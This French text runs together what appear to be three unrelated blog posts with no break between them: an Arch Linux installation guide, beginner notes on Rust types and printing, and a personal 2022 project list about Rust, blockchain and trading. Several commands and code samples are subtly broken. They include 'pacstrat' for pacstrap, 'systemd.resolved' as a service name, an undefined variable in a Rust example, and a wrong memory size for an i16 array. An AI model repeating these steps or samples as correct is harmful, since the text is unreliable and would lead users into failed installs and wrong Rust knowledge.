Configuration le clavier

loadkeys fr-pc

Voilà vous êtes maintenant en AZERTY.
localectl list-keymaps pour voir les différents agencements du clavier FR disponibles.

Vérification du mode de démarrage

Si la commande suivante ne retourne pas d’erreur, c’est que le mode de démarrage est bien en UEFI. On est donc prêt à continuer l’installation.

ls /sys/firmware/efi/efivars

Connexion à internet

Voir l’état des interfaces réseau:

ip link

Si vous voulez utiliser du Wifi , vérifier que votre carte n’est pas bloquée avec rfkill
Utiliser iwctl pour vous authentifier aux réseaux wifi.
Utiliser mmcli pour vous connecter à un réseau mobile
DHCP devrait fonctionner sans rien faire grâce aux services systemd-networkd et systemd-resolved
Pour configurer une IP statique, c’est par ici
Tout est configuré par défaut durant la phase d’installation d’Archlinux. Une fois le système installé et donc sorti du mode Live OS, il faudra tout réinstaller.

ping google.com

Configuration de l’heure

timedatectl status
timedatectl set-ntp true
timedatectl status

Partitionnement du disque

Configuration simple pour un disque SSD de 2 To.

Dans un premier temps on efface tout:

fdisk -l
fdisk /dev/sdX
# Utiliser m pour obtenir de l'aide
i (voir les infos sur les partitions)
d (détruire les partitions une à une)
w (save)
fdisk -l (pour confirmer que les changements ont bien été pris en compte)

Puis on recrée 3 nouvelles partitions:

• Première partition EFI

fdisk /dev/sda
g (pour créer une table de partition vide)
n (création d'une nouvelle partition EFI)
1
Enter (on n'entre pas de valeur pour le First sector)
+512M
y (oui on veut retirer la signateur vfat précédente liée à son ancienne installation)
t (pour changer le type de la partition)
1 (pour EFI system)

• Deuxième partition de SWAP

n
2
enter
+4G
y
t (changer le type de la partition)
2 (sélection de la 2e partition)
19 (pour Linux Swap)

• Troisième partition pour ROOT

n
3
enter
enter
y
t
3
23 (pour x86-64)

Sauvegarder tous les changements et vérifier que tout est ok.

w
fdisk --list

Dans les Devices du disque /dev/sda vous devriez voir les 3 nouvelles partitions:
/dev/sda1, /dev/sda2 et /dev/sda3

Création des filesystems

Nous allons utiliser mkfs et mkswap pour créer les file systems sur les nouvelles partitions.

mkfs.vfat /dev/sda1
mkswap /dev/sda2
mkfs.ext4 /dev/sda3

Installation des packages Arch

On commence par monter les partitions avant d’installer les packages:

mount /dev/sda3 /mnt
mkdir /mnt/efi
mount /dev/sda1 /mnt/efi
swapon /dev/sda2

Installation des packages de base:

pacstrat /mnt base linux linux-firmware
pacstrat /mnt dhcpcd dhclient

Génération du fstab

genfstab -U /mnt >> /mnt/etc/fstab
cat /mnt/etc/fstab

chroot pour se logguer dans le nouveau système

arch-chroot /mnt

La commande précédente permet de quitter l’environnement du live OS et d’atterir dans le nouveau système fraichement installé.

On peut donc maintenant utiliser pacman pour manager les applications (c’est l’équivalent de apt ou yum).

pacman -Syu
# Installation de git
pacman -Syu git nano vim

hostname et hosts

echo NomDeVotreMachine >> /etc/hostname
echo '127.0.0.1 NomDeVotreMachine.localdomain NomDeVotreMachine' >> /etc/hosts

Gestion du fuseau horaire

ls -al /etc/
ln -sf /usr/share/zoneinfo/Europe/Paris /etc/localtime
ls -al /etc/

Locale

Editer le fichier /etc/locale.gen, décommentez la locale fr_FR.UTF-8 UTF8 et exécuter les commandes suivantes:

locale-gen
echo LANG="fr_FR.UTF-8" > /etc/locale.conf
# Pour la session courante
export LANG=fr_FR.UTF-8
echo KEYMAP=fr > /etc/vconsole.conf

Installation d’un Bootloader

pacman -Syu grub efibootmgr
grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id=GRUB

Ajout d’un microcode pour votre CPU:

pacman -Syu intel-ucode

Génération du grub.cfg:

grub-mkconfig -o /boot/grub/grub.cfg

Création d’un nouvel utilisateur et blocage du compte root

Création du nouvel utilisateur ayant accès root:

pacman -Syu sudo
useradd --create-home olivier
passwd olivier

Blocage du compte root initialement créé par défaut:

Modifier le fichier /etc/sudoers et donner les droits et remplacer la ligne root ALL=(ALL) ALL par olivier ALL=(ALL) ALL

Exécuter ensuite les commandes suivantes:

# Effacer le mot de passe root
passwd --delete root
# Locker le compte root
passwd --lock root

Enfin editer le fichier /etc/passwd et remplacer la ligne root:x:0:0::/root:/bin/bash par root:x:0:0::/:/usr/bin/nologin

A noter que dans les lignes précédentes, :x: équivaut à : x : sans espace. (Blog engine auto conversion…)

First boot

exit
shutdown -r now

C’est maintenant qu’on croise les doigts ahahah.

Passage du clavier en fr dans la session courante:

sudo loadkeys fr-pc

Pour rendre la keymap persistente, editer le fichier /etc/vconsole.conf et ajouter la ligne suivante:

KEYMAP=fr

Configuration réseau:

• Récupérer le nom de vos interfaces réseau:

ip link
# Dans mon cas:
eno1 et wlp58s0

• Editer le fichier sudo vim /etc/systemd/network/10-wire-wireless.network et ajouter la config suivante:

[Match]
Name=eno1 wlp58s0
[Network]
DHCP=yes
LLMNR=yes
MulticastDNS=yes
DNSSEC=yes
DNSOverTLS=yes
DNS=1.1.1.1 1.0.0.1 2606:4700:4700::1111 2606:4700:4700::1001
FallbackDNS=8.8.8.8 8.8.4.4 2001:4860:4860::8888 2001:4860:4860::8844
[DHCP]
UseDNS=no

DHCP=yes pour que l’assignement d’une adresse IP se fasse automatiquement LLMNR MDNS DNSSEC DNSOverTLS UseDNS=NO pour ne pas utiliser le DNS de ma freebox

• Editer maintenant le fichier sudo vim /etc/systemd/resolved.conf. C’est requis par Arch car nous avons créé un fichier *.network juste au dessus. Voici le contenu à insérer dans notre second fichier:

[Resolve]
DNS=1.1.1.1 1.0.0.1 2606:4700:4700::1111 2606:4700:4700::1001
FallbackDNS=8.8.8.8 8.8.4.4 2001:4860:4860::8888 2001:4860:4860::8844
LLMNR=yes
MulticastDNS=yes
DNSSEC=yes
DNSOverTLS=yes

• Créer le symlink suivant:

sudo ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf

Grâce à cela, toutes les applications vont appeler 127.0.0.53:53 pour le DNS. Le service resolved va à son tour contacter les DNS spécifier dans notre fichier /etc/systemd/network/10-wire-wireless.network et utiliser DNSSEC et DNS-over-TLS pour résoudre les noms de domaines.

• Activation des services:

sudo systemctl enable --now systemd-networkd
sudo systemctl enable --now systemd.resolved
ping google.com

Backup installation sur périphérique externe

Voilà, on vient de passer presque 1h à installer notre système sous Arch. Avant d’aller plus loin, on va réutiliser la clé USB qui nous a permis d’installer l’ISO Arch pour faire un backup. On va la formater et tout backuper.

• Formatage de la clé:

sudo fdisk -l
sudo umount /dev/sdb1
sudo umount /dev/sdb2
sudo fdisk /dev/sdb
d
1
d
2
w
sudo fdisk /dev/sdb
g
n
1
enter
enter
w
sudo mkfs.ext4 /dev/sdb1

• Backup:

mkdir /mnt/usbstick
sudo mount /dev/sdb1 /mnt/usbstick
sudo pacman -Syu rsync
sudo rsync -aAXv --delete --exclude=/dev/* --exclude=/proc/* --exclude=/sys/* --exclude=/tmp/* --exclude=/run/* --exclude=/mnt/* --exclude=/media/* --exclude="swapfile" --exclude="lost+found" --exclude=".cache" --exclude="Downloads" --exclude=".VirtualBoxVMs"--exclude=".ecryptfs" / /mnt/usbstick/

Restauration: Boot sur Live ISO puis:
mkdir /mnt/system /mnt/usb puis lsblk ou fsdisk -l pour voir le nom des devices connectés.
Monter le file system et le backup: mount /dev/sda1 /mnt/system et mount /dev/sdb1 /mnt/usb
Enfin, restaurer: rsync -aAXv --delete --exclude="lost+found" /mnt/usb/ /mnt/system/

Xorg

Déterminer le pilote graphique à utiliser:

lspci -v | grep -A1 -e VGA -e 3D

Suivant la marque, il faudra utiliser un package adapté. Voici la liste des packages à disposition.

Dans mon cas, ayant une carte Intel, je vais installer le package xf86-video-intel puis j’installe le package xorg group via la commande: sudo pacman -Syu xorg.

Je vérifie l’installation avec sudo Xorg -version.

Desktop environment

On va maintenant installer Gnome.

sudo pacman -Syu gnome gnome-extra xorg-xinit

On va ensuite configurer le système pour que la commande startx démarre une session gnome. Pour ce faire, on va créer un fichier sudo vim ~/.xinitrc et on va ajouter la ligne suivante: exec gnome-session.

On redémarre et vérifie que tout fonctionne bien. Exécuter startx après s’être authentifié.

Keyring fix

sudo passwd

Bluetooth

pacman -Syu bluez bluez-utils
systemctl enable bluetooth.service
systemctl start bluetooth.service

Wifi

sudo pacman -Syu networkmanager
sudo systemctl enable NetworkManager.service
sudo systemctl start NetworkManager.service

Utilitaires

• Via pacman

vlc base-devel firefox 

• Snapd:

git clone https://aur.archlinux.org/snapd.git
cd snapd
makepkg -si
sudo systemctl enable --now snapd.socket
sudo ln -s /var/lib/snapd/snap /snap
reboot
snap --version

• Spotify:

snap install spotify

• Paru:

git clone https://aur.archlinux.org/paru.git
cd paru
makepkg -si

• VS Code:

git clone https://aur.archlinux.org/visual-studio-code-bin.git
cd visual-studio-code-bin
makepkg -si

Openssh

sudo pacman -Syu openssh
ip address
sudo systemctl enable sshd.service
sudo systemctl start sshd.service

x2go

sudo pacman -Syu x2goserver
sudo x2godbadmin --createdb
sudo systemctl enable x2goserver.service
sudo systemctl start x2goserver.service

Pour pouvoir utiliser x2go on va installer un second desktop env plus léger et sans bug.

sudo pacman -Syu xfce4 xfce4-goodies

Option pour pouvoir démarrer un server X au choix:

• Editer le fichier sudo vim ~/.xinitrc et ajouter le contenu suivant:

# Here Gnome is kept as default
session=${1:-gnome}

case $session in
    gnome             ) exec gnome-session;;
    xfce|xfce4        ) exec startxfce4;;
    # No known session, try to run it as command
    *                 ) exec $1;;
esac

• Démarrage d’un Desktop environment au choix via l’une des deux commandes suivantes:

xinit xfce
xinit gnome

Le type d’une variable peut être défini en ajoutant un suffixe derrière la valeur de la variable. Par exemple:

let mon_test1: i32 = 12;

Equivaut à

let mon_test2 = 12i32;

Equivaut à 

let mon_test3 = 12_i32;

Retourner la taille d’une variable:

println!("Taille de `mon_test1` in bytes: {}", std::mem::size_of_val(&mon_test1));
Taille de `mon_test1` in bytes: 4
// i32 -> 4 x 8 

Casting

Il n’y a pas de coercion, c’est-à-dire de la conversion implicite, entre les types primitifs en Rust. Par contre, il y a de la conversion explicite de type (Casting) grâce au mot clé as.

let mon_float: f32 = 3.14159;
println!("{}", mon_float)
//3.14159

let mon_float2 = 3.6789_f32;
println!("{}", mon_float2)
//3.6789

//DONC la ligne suivante ne fonctionne pas:
let integer: u8 = mon_float; <- Pas de conversion implicite (coercion)

//MAIS la ligne suivante fonctionne:
let mon_integer = mon_float as u8;
println!("{}", mon_integer)
//3

let mon_integer2 = mon_float2 as u8;
println!("{}", mon_integer2)
//3 <- toujours 3, pas d'arrondi supérieur

let mon_character = mon_integer as char;
mon_character
'\u{3}'

A noter qu’il n’est pas possible de convertir explicitement un float en char. let mon_character = mon_decimal as char; n’est pas possible.

Lorsqu’on cast une variable X dans une nouvelle variable Y non signée (unsigned) par exemple Rust essaye de fit l’ancienne variable dans la nouvelle. Des exemples valent mieux qu’un long discours…

fn print_type_of<T>(_: &T) {
    println!("{}", std::any::type_name::<T>())
}

let ma_var = 1000;
print_type_of(&ma_var);
//i32
println!("{}", ma_var);
//1000

let ma_var2 = ma_var as u16;
print_type_of(&ma_var2);
//u16
println!("{}", ma_var2);
//1000
//Pas de changement car 1000 rentre bien dans u16

let ma_var3 = ma_var as u8;
print_type_of(&ma_var3);
//u8
println!("{}", ma_var3);
//232
// 1000 - 256 - 256 - 256 = 232 
// Pour les nombre positifs c'est la même chose que le modulo 1000 mod 256 = 232

let mon_second_test = -1i8;
print_type_of(&mon_second_test);
//i8
println!("{}", mon_second_test);
//-1
println!("{} as u8 = {}", mon_second_test, mon_second_test as u8);
//-1 as u8 = 255
//-1 + 256 = 255

Convertir un NAN

println!("nan as u8 = {}", f32::NAN as u8);
//0

Convertir des floats

println!("600.0 is {}", 600.0_f32 as u8);
// 600.0 is 255

println!("400.0 is {}", 400.0_f32 as u8);
// 400.0 is 255

println!("10000.0 is {}", 10000.0_f32 as u8);
// 10000.0 is 255

println!("1000000.0 is {}", 1000000.0_f32 as u8);
// 1000000.0 is 255

println!("255.0 is {}", 255.0_f32 as u8);
// 255.0 is 255

println!("256.0 is {}", 256.0_f32 as u8);
// 256.0 is 255

println!("-200.0 as u8 is {}", -200.0_f32 as u8);
// -200.0 as u8 is 0

println!("-1.0 as u8 is {}", -1.0_f32 as u8);
//-1.0 as u8 is 0

A noter qu’il existe le mot clé unsafe pour changer le comportement ci-dessus.

Aliasing

Le mot clé type peut être utilisé en Rust pour donner un nouveau nom à un type existant.

Contrairement aux types primitifs (f64, usize…), le nom donné à un “nouveau” type doit commencer par une masjuscule puis être en camel case. “nouveau” entre guillemets car il ne s’agit pas réellement de nouveaux types mais d’alias. Si ce format upper camel case n’est pas respecté, il y aura un warning lors de la compilation. Il est possible de la désactiver en précédant la ligne par #[allow(non_camel_case_types)].

type Meter = u64;
type KiloMeter = u64;

#[allow(non_camel_case_types)]
type kilo_t = u32;

Inference

L’inférence de type en Rust est bien faite. Plutôt que de juste regarder la valeur d’une variable lors de son initialisation, Rust analyse comment est utilisée cette variable dans le reste du programme pour correctement inférer son type.

fn  main() {
    let mon_test = 5u8;
    let mut mon_vecteur = Vec::new();
    // /!\ Si vous commentez la ligne ci-dessous, 
    // Rust ne saura pas quoi donner comme type pour mon_vecteur.
    // Il y aura donc une erreur de compilation. 
    // Par contre, si on laisse la ligne suivante, Rust la lira lors 
    // de la compilation et déterminer que mon_vecteur est de type alloc::vec::Vec<u8>
    mon_vecteur.push(elem);
    println!("{:?}", mon_vecteur);
}

println!("{}, l'origine", 42);

Print avec des arguments positionnels

println!("Hi {0}, I am {1}. Hi {1}, I am {0}", "John", "Peter");

Print avec des arguments nommés

println!("{argument1} {argument2} {argument3}",
    argument2="fifi",
    argument1="riri",
    argument3="loulou"
);

Printer en alignant la variable à afficher à droite

println!("{ma_variable:>width$}", ma_variable="toto", width=10);

Printer en alignant à droite et en préfixant avec des zéros

println!("{nombre:0>width$}", nombre=100, width=6);

Printer avec une conversion automatique en binaire

println!("{} en binaire s'écrit {:b}", 4, 4);

Printer une structure

#[derive(Debug)]
struct Voiture {
    modele: String,
    marque: String
}

    
let modele = "508 GT".to_string();
let marque = "Peugeot".to_string();
let voiture = Voiture {modele, marque};
println!("{:?}", voiture);

Addition dans un print

println!("1 + 2 = {}", 1 + 2);
//println!("1 + 2 = {}", 1i32 + 2);
//println!("1 + 2 = {}", 1u32 + 2);

Soustraction dans un print

println!("1 - 2 = {}", 1 - 2);
//println!("1 - 2 = {}", 1i32 - 2);

// Attention aux overflows 
println!("1 - 2 = {}", 1u32 - 2);
                          ^^^^^^^^ attempt to compute `1_u32 - 2_u32`, which would overflow
this arithmetic operation will overflow

Algèbre de Boole dans un print

println!("vrai ET faux = {}", true && false);
println!("vrai OU faux = {}", true || false);
println!("NON vrai = {}", !true);

Opérations binaires

println!("01001 ET 00111 = {:05b}", 0b01001u32 & 0b00111);
//01001 ET 00111 = 00001
println!("01001 OU 00111 = {:05b}", 0b01001u32 | 0b00111);
//01001 OU 00111 = 01111
println!("01001 XOR 00111 = {:05b}", 0b01001u32 ^ 0b00111);
//01001 XOR 00111 = 01110
// Décalage
println!("1 << 4 = {}", 1u32 << 4);
// 16
println!("0x80 >> 1 = 0x{:x}", 0x80u32 >> 1);
// 0x80 >> 1 = 0x40

Manière plus lisible d’écrire des nombres

println!("1 milliard peut s'écrire {}", 1_000_000_000u32);

let is_rust_cool: bool = true;

// let mon_float: f64 = 5.0; // Annotation simple
// let mon_integer = 5i32; // Annotation via suffixe 

// Ou inférence de type:
let mon_autre_float = 5.0; // f64
let mon_autre_integer = 5; // i32

Le type de variable ne peut pas être changé

Tableau de taille fixe et type connu

let petit_tableau: [i8; 5] = [1, 2, 3, 4, 5];

Tableau de taille fixe, type connu et initialisé à 0

let petit_tableau2: [i8; 20] = [0; 20];

Retourner le nombre d’éléments d’un tableau

println!("petit_tableau2 contient {} éléments", petit_tableau2.len());

Retourner la taille occupée en mémoire par un tableau

use std::mem;
fn main() {
  let petit_tableau2: [i8; 20] = [0; 20];
  println!("petit_tableau2 occupe {} bytes", mem::size_of_val(&petit_tableau2));
  // petit_tableau2 occupe 20 bytes
  let petit_tableau2: [i16; 20] = [0; 20];
  println!("petit_tableau2 occupe {} bytes", mem::size_of_val(&petit_tableau2));
  // petit_tableau2 occupe 20 bytes
  // i8 <-> 8 bits <-> 1 byte
  // i16 <-> 16 bits <-> 2 bytes
}

Slicer des tableaux

fn describe_slice(slice: &[i16]) {
    println!("Slice[0]: {}", slice[0]);
    println!("Slice length: {}", slice.len());
}

fn main() {
  let petit_tableau2: [i16; 20] = [0; 20];
  describe_slice(&petit_tableau2);
  //Slice[0]: 0
  //Slice length: 20
  describe_slice(&petit_tableau2[0..2]);
  //Slice[0]: 0
  //Slice length: 2
}

Retourner l’élément N d’un tuple

let mon_tuple = (1u8, 2u16, 3u32, 4u64, 5u32, 6u16, -1i8, -2i16, -3i32, -4i64, 0.1f32, 0.2f64, false, 'a', 'b');
println!("Premier element dans mon_tuple: {}", mon_tuple.0);
println!("Deuxième element dans mon_tuple: {}", mon_tuple.1);

Un tuple dans un tuple

let mon_tuple_dans_tuple = ((1u8, 2u16, 2u32), (3u32, 5u8), -2i16);
println!("Print tuple dans tuples: {:?}", mon_tuple_dans_tuple);
//Print tuple dans tuples: ((1, 2, 2), (3, 5), -2)
println!("Premier tuple dans tuples: {:?}", mon_tuple_dans_tuple.0);
//Premier tuple dans tuples: (1, 2, 2)

Attention les tuples trop longs ne peuvent pas être “printés”

Renverser un tuple de 2 éléments/ une paire

Comme en Python les tuples peuvent être passés ou retournés dans les fonctions

fn reverse(pair: (i32, bool)) -> (bool, i32) {
    let (integer, boolean) = pair;
    (boolean, integer)
}

let mon_tuple = (1, true);
println!("mon_tuple = {:?}", mon_tuple);
//mon_tuple = (1, true)
println!("mon_tuple reversed = {:?}", reverse(mon_tuple));
//mon_tuple reversed = (true, 1)

Comme en Python, les tuples contenant 1 élement, s’écrivent ("titi",)

Destructuration

let mon_tuple = (1, "titi", 0.5, true);
let (a, b, c, d) = mon_tuple;
println!("{:?}, {:?}, {:?}, {:?}", a, b, c, d);
//1, "titi", 0.5, true

Structures

#[derive(Debug)]
struct Matrix(f32, f32, f32, f32);

let ma_matrice = Matrix(0.1, 0.2, 1.1, 2.2);
println!("{:?}", ma_matrice);
Matrix(0.1, 0.2, 1.1, 2.2)

Voici donc mon programme pour l’année 2022 (beaucoup plus simple que l’annéee 2021). En gros cela se résume en 5 maîtres-mots: Blockchain, Rust, Trading, Veille & Innovation.

1. Utiliser Rust pour tous mes développements personnels (“développements professionels à usage personnel” devrais-je plutôt écrire) #TopPrio1

• Torrent client app (wrap C++ lib en Rust) expérimentation
• Secu app (sur Mobile device)
• Notification app (un socle très simple et utilisable via API call en local pour toutes mes automations) (gui natif OS X)
• Cross-platform expérimentation lib/app (lib Rust partagée sur Android et iOS, et/ou Flutter et/ou Webassembly)
• 2 Apps: voir les points 2.2 et 2.3 ci-dessous
• (Utiliser Actix et GraphQL dans une de ces apps)
• Algolia clone (search engine simple) en Rust / Webassembly / Service Worker
• Rust on embedded device (example Arduino)

2. Blockchain Développement (Smart contracts dev/ Web3) #TopPrio2

• 2.1. Arbitrage app (en Python. Comme le développement de ce projet est beaucoup trop avancé pour tout recommencer en Rust et que c’est un sujet data (par rapport à ma stratégie de trading) le langage Python est très bien adapté à ce sujet). J’aimerais ré-écrire les smart contracts en Rust (ou Yul à voir l’intérêt) plutôt que Solidity car philosophiquement j’ai dû mal avec le language Solidity qui n’a pour seul intérêt que le développement EVM (certes énorme…). Si Solidity ne peut pas être remplacé (tout dépendra d’ewasm je dirais), je garderai Solidity.
• 2.2. Trades “irréalistes” bot en Rust (Smart contract en Rust) + CEX (et non DEX) scanning (par simplicité et car il y a déjà énormément d’opportunités) + Metamask. Donc détection des opportunités sur CEX et trades sur DEX pour pouvoir placer autant d’ordres limites que je veux sans bloquer du capital (au passage je vous ai donné une petite stratégie de trading simple et bien rentable; c’est cadeau 😁)
• 2.3. Portfolio export to Google spreadsheet pour au moins 2 des CEX que j’utilise (en Rust même si en Python c’est simplicime à faire). L’objectif est d’être aussi fluide en Rust qu’en Python…

3. Scalping #Profit #TopPrio3

• Pas d’automatisation. Approfondissement d’un autre métier et d’autres outils

4. Analyse Fondamentale et investissements #Profit #TopPrio4

• Business Analysis
• Price tracking/alerting app nécessaire (Rust) pour projets crypto à forts portentiels (revente auto de positions à différents échelons)
• Euronext vision 360 tracker (une v2 en RPA)

5. Ethical hacking (par passion depuis toujours)

6. Lire un livre de développement personnel

7. Creuser React 360 si le temps le permet et builder une petite interface compatible Oculus/Meta Quest 2 + étudier comment se construisent les environnements de jeux vidéo/ simulation avec des personnages animés en VR (peut être bcp plus évolués que React 360) #Veille

8. Monter un node Chainlink si ROI et bande passante #Profit

9. Monter un node theGraph si ROI, bande passante et si un node Archive Ethereum n’est plus nécessaire #Profit

10. Expérimenter Reality Capture API (si j’ai pu m’offrir un nouveau Macbook pro 😅) et comparer le résultat du 3D scanning avec le Lidar de l’iPhone. #Veille

11. Asservir un robot avec ROS (Robot Operating System) (Simulation puis déploiement sur vrai simple robot DIY) #Veille

12. Construire un LED matrix Wifi pour afficher le cours du BTC ou “en réunion” ou valeur de mon portfolio ou opportunité de trade… #Profit

13. Piloter un LED matrix avec Streamdeck + Test trading avec Streamdeck #Fun #Profit

14. Tester une découpeuse Laser ou CNC (pour création PCB ou autre) #Veille #IoT #Fun

15. Tester une imprimante 3D résine #Veille

16. ROS avec un 6Dof Robot arm (si le budget le permet bien évidemment. Il doit être équipé d’un petit laser cut de 2.5W) #Veille